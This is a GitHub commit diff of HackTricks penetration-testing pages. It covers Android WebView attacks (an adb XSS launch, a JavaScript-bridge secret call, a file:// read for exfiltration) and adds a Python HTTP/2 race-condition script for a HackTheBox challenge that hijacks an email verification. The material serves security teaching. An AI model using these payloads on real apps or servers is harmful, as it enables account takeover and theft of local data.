Skip to content

Commit

Permalink
GITBOOK-4272: change request with no subject merged in GitBook
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Mar 16, 2024
1 parent c283d05 commit a130216
Show file tree
Hide file tree
Showing 5 changed files with 216 additions and 54 deletions.
71 changes: 41 additions & 30 deletions mobile-pentesting/android-app-pentesting/webview-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,67 +9,76 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Simplified Guide on WebView Configurations and Security
## Guide on WebView Configurations and Security

### Overview of WebView Vulnerabilities

A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.

![WebView Example](../../.gitbook/assets/image%20(718).png)
![WebView Example](<../../.gitbook/assets/image (718).png>)

### **File Access in WebViews**

By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ\_EXTERNAL\_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).

#### **Deprecated Features: Universal and File Access From URLs**

- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.

- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
* **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
* To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
* To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
* **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
* Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.

#### **Secure File Loading**

For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
- Check with `getAllowFileAccess()`.
- Enable or disable with `setAllowFileAccess(boolean)`.

* Check with `getAllowFileAccess()`.
* Enable or disable with `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.

### **JavaScript and Intent Scheme Handling**
### loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

```java
webview.loadUrl("<url here>")
```

Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.

- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
### **JavaScript and Intent Scheme Handling**

- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
* **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
* **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support\_url" that could be exploited to execute cross-site scripting (XSS) attacks.

![Vulnerable WebView](../../.gitbook/assets/image%20(719).png)
![Vulnerable WebView](<../../.gitbook/assets/image (719).png>)

Exploitation example using adb:

{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
{% endcode %}

### Javascript Bridge

A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.

### Important Considerations

- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
* **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.

#### Implementing a JavaScript Bridge

- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
* **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:

```javascript
@JavascriptInterface
Expand All @@ -78,40 +87,40 @@ public String getSecret() {
};
```

- JavaScript Bridge is enabled by adding an interface to the WebView:
* JavaScript Bridge is enabled by adding an interface to the WebView:

```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```

- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
* Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:

```html
<script>alert(javascriptBridge.getSecret());</script>
```

- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
* To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.

### Reflection-based Remote Code Execution (RCE)

- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
* A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.

### Remote Debugging

- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
* **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.

#### Enabling Remote Debugging

- Remote debugging can be enabled for all WebViews within an application by:
* Remote debugging can be enabled for all WebViews within an application by:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```

- To conditionally enable debugging based on the application's debuggable state:
* To conditionally enable debugging based on the application's debuggable state:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
Expand All @@ -122,7 +131,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {

## Exfiltrate arbitrary files

- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
* Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:

```javascript
var xhr = new XMLHttpRequest();
Expand All @@ -135,11 +144,13 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
xhr.send(null);
```


## References

* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)

<details>

Expand All @@ -150,7 +161,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
4 changes: 4 additions & 0 deletions pentesting-web/cache-deception.md
Original file line number Diff line number Diff line change
Expand Up @@ -203,6 +203,10 @@ Note that the **cache proxy** should be **configured** to **cache** files **base

Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).

## Automatic Tools

* [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

## References

* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
Expand Down
131 changes: 131 additions & 0 deletions pentesting-web/race-condition.md
Original file line number Diff line number Diff line change
Expand Up @@ -117,6 +117,137 @@ Content-Length: 0

<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

* **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.

```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)
```

### Raw BF

Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
Expand Down
Loading

0 comments on commit a130216

Please sign in to comment.